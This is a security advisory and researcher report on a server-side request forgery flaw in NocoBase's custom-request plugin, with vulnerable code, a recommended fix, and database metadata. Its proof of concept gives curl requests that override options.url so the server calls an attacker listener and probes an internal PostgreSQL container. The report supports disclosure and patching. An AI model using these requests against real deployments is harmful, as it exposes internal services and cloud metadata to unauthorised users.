NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.
### Summary
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin.
A low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
* Product: NocoBase
* Version: v2.1.10
* Component: `@nocobase/plugin-action-custom-request`
* Severity: Moderate
* Required privilege: authenticated low-privileged user / member
Testing was performed only in a local Docker lab environment at `http://127.0.0.1:13000`. No public NocoBase instance was tested.
Lab environment:
* Docker image: `nocobase/nocobase:latest-full`
* Commit: `23e2bd35625439594e4757bac31d57c9e8e695b9`
* Database: PostgreSQL 16
* Containers: `nocobase-lab`, `nocobase-postgres`
* Docker network: `172.19.0.0/16`
* Important environment variable: `SERVER_REQUEST_WHITELIST` was not set
---
### Details
The vulnerable endpoint is:
```http
POST /api/customRequests:send?filterByTk=<key>
```
The `customRequests:send` action is allowed for any logged-in user:
```ts
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');
```
The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
```ts
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;
```
The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
```json
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}
```
If `SERVER_REQUEST_WHITELIST` is not configured, the server-side request whitelist check is bypassed:
```ts
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;
```
As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
---
### PoC
#### Step 1: Admin creates a valid Custom Request config
First, an administrator creates a valid Custom Request config. This is a setup step only.
```bash
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'
```
Expected result:
```http
HTTP/1.1 200 OK
```
If the key already exists, this setup step can be skipped.
Evidence:
<img width="1467" height="619" alt="Admin creates Custom Request config" src="https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6" />
---
#### Step 2: Start an attacker-controlled HTTP listener
On the attacker-controlled host in the local lab:
```bash
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0
```
Example attacker host IP in the local lab:
```text
192.168.1.139
```
Evidence:
<img width="888" height="195" alt="image" src="https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89" />
---
#### Step 3: Low-privileged user triggers SSRF by overriding options.url
The low-privileged user calls `customRequests:send` and overrides `options.url` at runtime:
```bash
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"
```
Expected response:
```http
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase server
```
Evidence:
<img width="959" height="570" alt="Low-privileged user triggers SSRF" src="https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77" />
---
#### Step 4: Attacker-controlled listener receives the server-side request
The attacker-controlled HTTP listener receives:
```text
GET /ssrf-proof HTTP/1.1
```
This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
<img width="744" height="206" alt="Listener receives GET /ssrf-proof" src="https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051" />
---
#### Step 5: Internal service reachability test
The same low-privileged user can target an internal Docker service:
```bash
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'
```
Observed response:
```json
{"message":"socket hang up"}
```
This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
---
### Impact
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
* internal service enumeration
* access to services only reachable from the server-side network
* Docker host gateway reachability testing
* reading responses from internal HTTP services when response bodies are returned
* potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked
* use of the NocoBase server as a trusted network proxy
Confirmed in the local lab:
* attacker-controlled HTTP listener received a request from the NocoBase server
* internal PostgreSQL container `nocobase-postgres:5432` was reachable
* Docker host gateway reachability was confirmed
This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
---
### Recommended Fix
1. Restrict `customRequests:send` to administrators or specifically authorized roles.
```diff
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
```
2. Do not allow low-privileged users to override stored request URLs at runtime.
3. Require `SERVER_REQUEST_WHITELIST` by default in production Docker images.
4. Block private/internal IP ranges by default, including:
```text
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
```
5. Resolve DNS and validate the final resolved IP address before making the outbound request.
6. Revalidate the target after redirects.
7. Add SSRF regression tests for:
```text
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges
```
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Nov 10, 2026, 5:56:36 PM
dateUpdated: Nov 14, 2026, 2:59:18 AM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-918
Original publisher date fields
published: 2026-11-10T18:17:48.183
lastModified: 2026-11-14T03:17:30.460
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.